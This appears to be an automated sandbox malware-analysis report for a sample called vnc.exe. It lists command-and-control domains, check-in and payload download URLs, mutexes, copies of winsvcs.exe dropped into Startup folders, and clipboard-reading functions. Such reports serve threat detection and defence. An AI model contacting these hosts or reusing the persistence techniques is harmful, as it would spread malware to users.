Source: 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	String found in binary or memory: http://ruuiooototoroidju.info/
Source: 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	String found in binary or memory: http://ruuiooototoroidjy.com/
Source: 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	String found in binary or memory: http://ruurritziiriefieg.net/
Source: 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	String found in binary or memory: http://rxaeighaoiemdnoef.net/
Source: 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	String found in binary or memory: http://sgsourfsuofgsgur.ru/
Source: 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	String found in binary or memory: http://sgsourfsuofgsguru.info/
Source: 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	String found in binary or memory: http://sgsourfsuofgsgury.com/
Source: winsvcs.exe, 00000002.00000002.628452762.0F250000.00000004.sdmp	String found in binary or memory: http://sso.anbtr.com
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://sso.anbtr.com/domain/iriototooeuwo.biz
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://sso.anbtr.com/domain/iriototooeuwo.bizn
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://sso.anbtr.com/domain/ouegouehouseh.net
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://sso.anbtr.com/domain/ouegouehouseh.netl-
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://sso.anbtr.com/domain/riifndisojdoj.net
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://sso.anbtr.com/domain/riifndisojdoj.net7
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://sso.anbtr.com/domain/udunfjgussiid.com
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://sso.anbtr.com/domain/udunfjgussiid.comD
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://sso.anbtr.com/domain/udunfjgussiid.net:
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://sso.anbtr.com/domain/udunfjgussiid.netQ
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://sso.anbtr.com/domain/ugoheoheufefu.info
Source: 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	String found in binary or memory: http://ssorgurufsogusru.ru/
Source: 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	String found in binary or memory: http://ssorgurufsogusruu.info/
Source: 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	String found in binary or memory: http://ssorgurufsogusruy.com/
Source: vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	String found in binary or memory: http://udunfjgussiid.biz/
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://udunfjgussiid.biz/t.php?new=1
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://udunfjgussiid.biz/t.php?new=1zz
Source: vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	String found in binary or memory: http://udunfjgussiid.com/
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://udunfjgussiid.com/t.php?new=1
Source: vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	String found in binary or memory: http://udunfjgussiid.in/
Source: vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	String found in binary or memory: http://udunfjgussiid.info/
Source: winsvcs.exe, 00000002.00000002.628452762.0F250000.00000004.sdmp	String found in binary or memory: http://udunfjgussiid.info/t.php?new=1
Source: vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	String found in binary or memory: http://udunfjgussiid.net/
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://udunfjgussiid.net/t.php?new=1A
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://udunfjgussiid.net/t.php?new=1V
Source: vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	String found in binary or memory: http://udunfjgussiid.ru/
Source: vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	String found in binary or memory: http://udunfjgussiid.su/
Source: vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	String found in binary or memory: http://ugoheoheufefu.biz/
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://ugoheoheufefu.biz/t.php?new=1
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://ugoheoheufefu.biz/t.php?new=13z
Source: vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	String found in binary or memory: http://ugoheoheufefu.com/
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://ugoheoheufefu.com/t.php?new=1
Source: vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	String found in binary or memory: http://ugoheoheufefu.in/
Source: vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	String found in binary or memory: http://ugoheoheufefu.info/
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://ugoheoheufefu.info/t.php?new=1
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://ugoheoheufefu.info/t.php?new=1%y
Source: vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	String found in binary or memory: http://ugoheoheufefu.net/
Source: vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	String found in binary or memory: http://ugoheoheufefu.ru/
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://ugoheoheufefu.ru/m.exe
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://ugoheoheufefu.ru/o.exe
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://ugoheoheufefu.ru/o.exew
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://ugoheoheufefu.ru/p.exe
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://ugoheoheufefu.ru/s.exe
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://ugoheoheufefu.ru/t.exe
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://ugoheoheufefu.ru/t.exe~
Source: vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	String found in binary or memory: http://ugoheoheufefu.su/
Source: 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	String found in binary or memory: http://uurritziiriefieg.ru/
Source: 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	String found in binary or memory: http://uurritziiriefiegu.info/
Source: 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	String found in binary or memory: http://uurritziiriefiegy.com/
Source: 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	String found in binary or memory: http://xaeighaoiemdnoef.ru/
Source: 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	String found in binary or memory: http://xaeighaoiemdnoefu.info/
Source: 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	String found in binary or memory: http://xaeighaoiemdnoefy.com/
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://xsso.iriototooeuwo.biz/28795e09a02dba8a0eed7077c02eadc6
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://xsso.iriototooeuwo.biz/28795e09a02dba8a0eed7077c02eadc6RB
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://xsso.ouegouehouseh.net/575e0240c0d4df5892064317c147a97e
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://xsso.ouegouehouseh.net/575e0240c0d4df5892064317c147a97eM
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://xsso.riifndisojdoj.net/2d6f5f8786b3305ca267ce6dbf60eca4
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://xsso.riifndisojdoj.net/2d6f5f8786b3305ca267ce6dbf60eca4u
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://xsso.udunfjgussiid.com/cbec3c80bef3cfa0da44de66ebecfeafR
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://xsso.udunfjgussiid.com/cbec3c80bef3cfa0da44de66ebecfeafp
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://xsso.udunfjgussiid.net/23fbb3b1712c0a08e405ce8c9a1ed39dM
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://xsso.udunfjgussiid.net/23fbb3b1712c0a08e405ce8c9a1ed39db
Source: winsvcs.exe, 00000002.00000002.627105698.00283000.00000004.sdmp	String found in binary or memory: http://xsso.ugoheoheufefu.info/4718bb30fd56711dfeae398545aa0e29
Source: 159753404015476.exe	String found in binary or memory: https://dotbit.me/a/

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Contains functionality for read data from the clipboard

Show sources

Source: C:\Users\user\Desktop\vnc.exe

Code function: 1_2_004050C2 isalpha,isdigit,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

1_2_004050C2

Contains functionality to read the clipboard data

Show sources

Source: C:\Users\user\Desktop\vnc.exe

Code function: 1_2_004054CE OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,Sleep,

1_2_004054CE

System Summary:

Creates files inside the system directory

Show sources

Source: C:\Users\user\Desktop\vnc.exe

File created: C:\Windows\T-495050303005030

Jump to behavior

Creates mutexes

Show sources

Source: C:\Windows\T-495050303005030\winsvcs.exe	Mutant created: \Sessions\1\BaseNamedObjects\349050503030
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Mutant created: \Sessions\1\BaseNamedObjects\484949949493

Detected potential crypto function

Show sources

Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_00401B06	1_2_00401B06
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_00404811	1_2_00404811
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_00404716	1_2_00404716
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_0002158A	1_2_0002158A
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_0040DACE	1_2_0040DACE
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_0040E6CE	1_2_0040E6CE
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_00415EDC	1_2_00415EDC
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_00414A83	1_2_00414A83
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_0040DEA2	1_2_0040DEA2
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_0040E2AE	1_2_0040E2AE
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_0041453F	1_2_0041453F
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_0040D5F9	1_2_0040D5F9
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_00413FFB	1_2_00413FFB
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_1_0040DACE	1_1_0040DACE
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_1_0040E6CE	1_1_0040E6CE
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_1_00415EDC	1_1_00415EDC
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_1_00414A83	1_1_00414A83
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_1_0040DEA2	1_1_0040DEA2
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_1_0040E2AE	1_1_0040E2AE
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_1_0041453F	1_1_0041453F
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_1_0040D5F9	1_1_0040D5F9
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_1_00413FFB	1_1_00413FFB
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_00401B06	2_2_00401B06
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_00404811	2_2_00404811
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_00404716	2_2_00404716
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_0002158A	2_2_0002158A
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_0040DACE	2_2_0040DACE
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_0040E6CE	2_2_0040E6CE
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_00415EDC	2_2_00415EDC
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_00414A83	2_2_00414A83
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_0040DEA2	2_2_0040DEA2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_0040E2AE	2_2_0040E2AE
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_0041453F	2_2_0041453F
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_0040D5F9	2_2_0040D5F9
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_00413FFB	2_2_00413FFB
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_1_00396030	2_1_00396030
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_1_0039F453	2_1_0039F453
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_1_0039FCB8	2_1_0039FCB8
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_1_00395CE0	2_1_00395CE0
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_1_0039D10B	2_1_0039D10B
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_1_0039D67D	2_1_0039D67D
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_1_003966FA	2_1_003966FA
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_1_0039E397	2_1_0039E397
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_1_0039DBEF	2_1_0039DBEF
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_1_0040DACE	2_1_0040DACE
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_1_0040E6CE	2_1_0040E6CE
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_1_00415EDC	2_1_00415EDC
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_1_00414A83	2_1_00414A83
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_1_0040DEA2	2_1_0040DEA2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_1_0040E2AE	2_1_0040E2AE
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_1_0041453F	2_1_0041453F
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_1_0040D5F9	2_1_0040D5F9
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_1_00413FFB	2_1_00413FFB
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_2_0002158A	3_2_0002158A
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_2_0040DACE	3_2_0040DACE
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_2_0040E6CE	3_2_0040E6CE
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_2_00415EDC	3_2_00415EDC
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_2_00414A83	3_2_00414A83
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_2_0040DEA2	3_2_0040DEA2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_2_0040E2AE	3_2_0040E2AE
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_2_0041453F	3_2_0041453F
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_2_0040D5F9	3_2_0040D5F9
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_2_00413FFB	3_2_00413FFB
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_1_0040DACE	3_1_0040DACE
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_1_0040E6CE	3_1_0040E6CE
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_1_00415EDC	3_1_00415EDC
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_1_00414A83	3_1_00414A83
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_1_0040DEA2	3_1_0040DEA2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_1_0040E2AE	3_1_0040E2AE
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_1_0041453F	3_1_0041453F
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_1_0040D5F9	3_1_0040D5F9
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_1_00413FFB	3_1_00413FFB
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_2_0002158A	4_2_0002158A
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_2_0040DACE	4_2_0040DACE
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_2_0040E6CE	4_2_0040E6CE
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_2_00415EDC	4_2_00415EDC
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_2_00414A83	4_2_00414A83
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_2_0040DEA2	4_2_0040DEA2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_2_0040E2AE	4_2_0040E2AE
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_2_0041453F	4_2_0041453F
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_2_0040D5F9	4_2_0040D5F9
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_2_00413FFB	4_2_00413FFB
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_1_0040DACE	4_1_0040DACE
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_1_0040E6CE	4_1_0040E6CE
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_1_00415EDC	4_1_00415EDC
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_1_00414A83	4_1_00414A83
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_1_0040DEA2	4_1_0040DEA2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_1_0040E2AE	4_1_0040E2AE
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_1_0041453F	4_1_0041453F
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_1_0040D5F9	4_1_0040D5F9
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_1_00413FFB	4_1_00413FFB
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Code function: 8_1_00405CE0	8_1_00405CE0
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Code function: 8_1_0040F453	8_1_0040F453
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Code function: 8_1_00406030	8_1_00406030
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Code function: 8_1_0040FCB8	8_1_0040FCB8
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Code function: 8_1_0040D10B	8_1_0040D10B
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Code function: 8_1_0040D67D	8_1_0040D67D
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Code function: 8_1_004066FA	8_1_004066FA
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Code function: 8_1_0040DBEF	8_1_0040DBEF
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Code function: 8_1_0040E397	8_1_0040E397
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_1_00405C70	9_1_00405C70
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_1_0040D09B	9_1_0040D09B
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_1_0040DB7F	9_1_0040DB7F
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_1_0040E327	9_1_0040E327
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_1_0040F3E3	9_1_0040F3E3
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_1_0040FC48	9_1_0040FC48
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_1_0040D60D	9_1_0040D60D
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_1_0040668A	9_1_0040668A
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_1_00405FC0	9_1_00405FC0

Dropped file seen in connection with other malware

Show sources

Source: Joe Sandbox View	Dropped File: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\winsvcs.exe 1646C8B7D3B5D04D471A88636EA9AC45FF46B82445E3B5AF8F648ACDC561A5A3
Source: Joe Sandbox View	Dropped File: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\winsvcs.exe 1646C8B7D3B5D04D471A88636EA9AC45FF46B82445E3B5AF8F648ACDC561A5A3
Source: Joe Sandbox View	Dropped File: C:\ProgramData\Microsoft\Windows\Start Menu\winsvcs.exe 1646C8B7D3B5D04D471A88636EA9AC45FF46B82445E3B5AF8F648ACDC561A5A3
Source: Joe Sandbox View	Dropped File: C:\Windows\T-495050303005030\winsvcs.exe 1646C8B7D3B5D04D471A88636EA9AC45FF46B82445E3B5AF8F648ACDC561A5A3

Found potential string decryption / allocating functions

Show sources

Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: String function: 00403BF4 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: String function: 004062FC appears 42 times
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: String function: 00404E98 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: String function: 0040300C appears 32 times
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: String function: 00404EC0 appears 33 times
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: String function: 004034E4 appears 32 times

PE file contains strange resources

Show sources

Source: winsvcs.exe.8.dr

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Reads the hosts file

Show sources

Source: C:\Windows\T-495050303005030\winsvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\T-495050303005030\winsvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\T-495050303005030\winsvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Sample file is different than original file name gathered from version info

Show sources

Source: vnc.exe, 00000001.00000002.324567318.00430000.00000008.sdmp

Binary or memory string: OriginalFilenameKernelbasej% vs vnc.exe

Sample reads its own file content

Show sources

Source: C:\Users\user\Desktop\vnc.exe

File read: C:\Users\user\Desktop\vnc.exe

Jump to behavior

Classification label

Show sources

Source: classification engine

Classification label: mal100.spre.troj.adwa.evad.winEXE@11/19@116/100

Contains functionality to enum processes or threads

Show sources

Source: C:\Users\user\Desktop\vnc.exe

Code function: 1_2_004033D1 CreateToolhelp32Snapshot,Process32First,CharLowerA,CloseHandle,Process32Next,CloseHandle,

1_2_004033D1

Contains functionality to instantiate COM classes

Show sources

Source: C:\Users\user\Desktop\vnc.exe

Code function: 1_2_004032DD CoInitialize,CoCreateInstance,VariantInit,VariantInit,VariantInit,Sleep,CoUninitialize,

1_2_004032DD

Creates files inside the user directory

Show sources

Source: C:\Users\user\Desktop\vnc.exe

File created: C:\Users\All Users\Microsoft\Windows\Start Menu\winsvcs.exe

Jump to behavior

Creates temporary files

Show sources

Source: C:\Windows\T-495050303005030\winsvcs.exe

File created: C:\Users\user~1\AppData\Local\Temp\Windows Archive Manager.exe

Jump to behavior

Might use command line arguments

Show sources

Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: <iU	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: ,X`j	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: 'C-}	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: ZCak	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: K#"	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: US{j	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: 5nF-	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: holn	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: x`;-	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: $P8u	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: DF2	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: 'l'	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: Wd5s	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: Iny4	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: Q\I	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: -s9^	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: \|[#G	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: U:8	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: /w;	2_1_003919E2
